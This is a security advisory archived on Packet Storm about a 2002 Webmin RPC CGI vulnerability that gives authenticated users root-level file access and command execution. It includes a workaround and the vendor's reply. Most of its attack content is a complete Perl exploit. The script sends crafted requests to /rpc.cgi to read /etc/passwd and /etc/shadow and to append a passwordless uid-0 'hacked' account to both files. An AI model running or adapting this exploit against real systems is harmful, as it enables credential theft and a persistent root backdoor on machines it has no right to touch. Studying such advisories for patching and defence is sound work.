what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

idefense.webmin.txt

idefense.webmin.txt
Posted Aug 29, 2002
Authored by Noam Rathaus | Site idefense.com

iDEFENSE Security Advisory 08.28.2002 - Webmin v0.92 and below contains remote vulnerabilities which allow any file to be read from or written to as root. Perl exploit code included.

tags | exploit, remote, root, perl, vulnerability
SHA-256 | af31beb487c3d22656202899a2265acf6154205773815b6ae81b751d5177ca36

idefense.webmin.txt

Change Mirror Download
Reference: http://www.securiteam.com/unixfocus/5CP0R1P80G.html


Webmin Vulnerability Leads to Remote Compromise (RPC CGI)
------------------------------------------------------------------------


SUMMARY

<http://www.webmin.com> Webmin is a web-based interface for system
administration for Linux/UNIX. Using any browser that supports tables
and
forms (and Java for the File Manager module) you can setup user
accounts,
Apache, DNS, file sharing and so on. A security vulnerability in the
product allows remote attackers to cause the execution of arbitrary
commands and read any files on the system (with root permissions).

DETAILS

Vulnerable systems:
* Webmin version 0.921 and above (requires regular user access)
* Webmin version 0.92 and below (no special user required)

Technical details:
The CGI that handles remote_foreign_require and remote_foreign_call
requests from other Webmin servers contains inadequate permission
checks.
Access to the CGI is determined by the 'rpc' value in the
/usr/libexec/webmin/defaultacl. This value can be '1' or '2'. If '2' is
set, only the 'admin' user, or root are allowed access. Otherwise,
anyone
is allowed to access the CGI. Access to this CGI would allow an attacker

any of the following functions:

1) 'quit' - as the name says, it terminates the current RPC session.
2) 'require' - forces the current RPC session to load a library/module
file.
3) 'call' - execute a Perl or Webmin function.
4) 'eval' - evaluates a Perl code (executes it).
5) 'ping' - responds with an "OK" reply.
6) 'check' - checks whether a certain library/module is supported.
7) 'config' - display the current configuration of RPC.
8) 'write' - write a file with the provided data.
9) 'read' - read a file and return the data it contains.

Utilizing the 'read' and 'write' actions a remote attacker can read or
write to any file that is present on the system. This specifically
includes /etc/passwd and /etc/shadow. Access to any file is possible
because the Webmin server runs as root, and does not drop privileges
prior
to running those two functions. Unitizing the 'eval' function, it is
possible to cause the execution of arbitrary commands with root
privileges.

Because of the way the RPC communication is done, the attached exploit
code is needed in order to perform the above actions.

Impact:
Since in many Webmin installations the Webmin admin is a non-root user,
by
exploiting the vulnerability an attacker is able to gain root privileges

and compromise the machine.

Workaround:
Modify the defaultacl file to:
rpc=0

This is a non-valid solution for organizations handling multiple Webmin
servers from a centralized one (remote control usage).

NOTE: This of course does not prevent the vulnerability, but rather
disables some functionality to stop it from working.

Perquisite:
Since access to the CGI is required, valid authentication is required.

Vendor response:
The vendor has responded with the following statement:
That's not really a bug, because in standard webmin installs the 'admin'

or 'root' use has access to all modules with all privileges, which is
equivalent to having a root login. However, if on your client's systems
the 'admin' user has lesser privileges then it would be a security
problem, and I think a release to tell people about it would be good
idea.


Instead of changing the defaultacl file (which will be overwritten by
the
next upgrade), you can go into the Webmin Users module, click on Global
ACL next to the admin user and change the 'Can make RPC calls?' option
to
No. I wouldn't want to change the defaultacl file in the standard webmin

distribution, as this would stop RPC from working unless it was
explicitly
allowed.

Exploit:
#!/usr/bin/perl
# urlize
# Convert a string to a form ok for putting in a URL
sub urlize {
local $rv = $_[0];
$rv =~ s/([^A-Za-z0-9])/sprintf("%%%2.2X", ord($1))/ge;
return $rv;

}

# un_urlize(string)
# Converts a URL-encoded string to the original
sub un_urlize
{
local $rv = $_[0];
$rv =~ s/\+/ /g;
$rv =~ s/%(..)/pack("c",hex($1))/ge;
return $rv;
}

# serialise_variable(variable)
# Converts some variable (maybe a scalar, hash ref, array ref or scalar
ref)
# into a url-encoded string
sub serialise_variable
{
if (!defined($_[0])) {
return 'UNDEF';
}
local $r = ref($_[0]);
local $rv;
if (!$r) {
$rv = &urlize($_[0]);
}
elsif ($r eq 'SCALAR') {
$rv = &urlize(${$_[0]});
}
elsif ($r eq 'ARRAY') {
$rv = join(",", map { &urlize(&serialise_variable($_)) }
@{$_[0]});
}
elsif ($r eq 'HASH') {
$rv = join(",", map { &urlize(&serialise_variable($_)).",".
&urlize(&serialise_variable($_[0]->{$_}))
}
keys %{$_[0]});
}
elsif ($r eq 'REF') {
$rv = &serialise_variable(${$_[0]});
}
return ($r ? $r : 'VAL').",".$rv;
}

# unserialise_variable(string)
# Converts a string created by serialise_variable() back into the
original
# scalar, hash ref, array ref or scalar ref.
sub unserialise_variable
{
local @v = split(/,/, $_[0]);
local ($rv, $i);
if ($v[0] eq 'VAL') {
$rv = &un_urlize($v[1]);
}
elsif ($v[0] eq 'SCALAR') {
local $r = &un_urlize($v[1]);
$rv = \$r;
}
elsif ($v[0] eq 'ARRAY') {
$rv = [ ];
for($i=1; $i<@v; $i++) {
push(@$rv, &unserialise_variable(&un_urlize($v[$i])));
}
}
elsif ($v[0] eq 'HASH') {
$rv = { };
for($i=1; $i<@v; $i+=2) {
$rv->{&unserialise_variable(&un_urlize($v[$i]))} =
&unserialise_variable(&un_urlize($v[$i+1]));
}
}
elsif ($v[0] eq 'REF') {
local $r = &unserialise_variable($v[1]);
$rv = \$r;
}
elsif ($v[0] eq 'UNDEF') {
$rv = undef;
}
return $rv;
}

# encode_base64(string)
# Encodes a string into base64 format
sub encode_base64
{
local $res;
pos($_[0]) = 0; # ensure start at the beginning
while ($_[0] =~ /(.{1,45})/gs) {
$res .= substr(pack('u', $1), 1)."\n";
chop($res);
}
$res =~ tr|\` -_|AA-Za-z0-9+/|;
local $padding = (3 - length($_[0]) % 3) % 3;
$res =~ s/.{$padding}$/'=' x $padding/e if ($padding);
return $res;
}

use Socket;
if ($#ARGV<6) {die "Usage: exploit.pl proxyIP proxyPort remoteIP
remotePort username password command_interface
command interface should equal one of these:
1 - read file /etc/passwd
2 - read file /etc/shadow
3 - insert into file /etc/passwd (\"hacked:x:0:0:root:/root:/bin/bash\")
4 - insert into file /etc/shadow (\"hacked::0:99999:7:-1:-1:134538548\")
";}

$username = $ARGV[4];
$password = $ARGV[5];

$proxyPort = $ARGV[1];
$proxyIP = $ARGV[0];

$remoteIP = $ARGV[2];
$remotePort = $ARGV[3];
$command_interface = $ARGV[6];

$target = inet_aton($proxyIP);
$paddr = sockaddr_in($proxyPort, $target);

print "Connecting to: $proxyIP:$proxyPort, with the following user:
$username and password: $password. Hacking server:
$remoteIP:$remotePort\n";

$auth = &encode_base64("$username:$password");
$auth =~ s/\n//g;

if (($command_interface eq 1) || ($command_interface eq 3))
{
$d = { 'action' => 'read', 'file' => "/etc/passwd", 'session' => "0"};
}
if (($command_interface eq 2) || ($command_interface eq 4))
{
$d = { 'action' => 'read', 'file' => "/etc/shadow", 'session' => "0"};
}

$tostr = &serialise_variable($d);
$lengthstr = length($tostr);

$request = "POST /rpc.cgi HTTP/1.1
Host: $remoteIP:$remotePort
User-agent: Webmin
Authorization: basic $auth
Content-Length: $lengthstr

$tostr";

print "Sending:\n---\n$request\n---\n";

$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

connect(S, $paddr) || die "connect: $!";

select(S); $|=1; # print $pstr;
print $request;

$found = 0;
while(<S>)
{
if (($found == 1) || (/^\r\n/))
{
if ($found == 0)
{
$found = 1;
}
else
{
$in = join ("", $in, $_);
}
}
}
select(STDOUT);

print "Raw:\n---\n$in\n---\n";

print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'},
"\n---\n";

close(S);

if ($command_interface eq 3)
{
$d = { 'action' => 'write', 'data'=>join("",
unserialise_variable($in)->{'rv'},
"hacked:x:0:0:root:/root:/bin/bash\n"),
'file' => "/etc/passwd", 'session' => "0"};
}
if ($command_interface eq 4)
{
$d = { 'action' => 'write', 'data'=>join("",
unserialise_variable($in)->{'rv'},
"hacked::0:99999:7:-1:-1:134538548\n"),
'file' => "/etc/shadow", 'session' => "0"};
}

$tostr = &serialise_variable($d);
$lengthstr = length($tostr);

$request = "POST /rpc.cgi HTTP/1.1
Host: $remoteIP:$remotePort
User-agent: Webmin
Authorization: basic $auth
Content-Length: $lengthstr

$tostr";

print "Sending:\n---\n$request\n---\n";

$proto = getprotobyname('tcp');
socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n");

connect(S, $paddr) || die "connect: $!";

select(S); $|=1; # print $pstr;
print $request;

$found = 0;
while(<S>)
{
if (($found == 1) || (/^\r\n/))
{
if ($found == 0)
{
$found = 1;
}
else
{
$in = join ("", $in, $_);
}
}
}

select(STDOUT);

print "Raw:\n---\n$in\n---\n";

print "Unserialized:\n---\n", unserialise_variable($in)->{'rv'},
"\n---\n";

close(S);

# --- EOF ---


ADDITIONAL INFORMATION

The information has been provided by <mailto:noamr@beyondsecurity.com>
Noam Rathaus of SecurITeam.



====================
====================

DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of
any kind.
In no event shall we be liable for any damages whatsoever including
direct, indirect, incidental, consequential, loss of business profits or
special damages.




Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close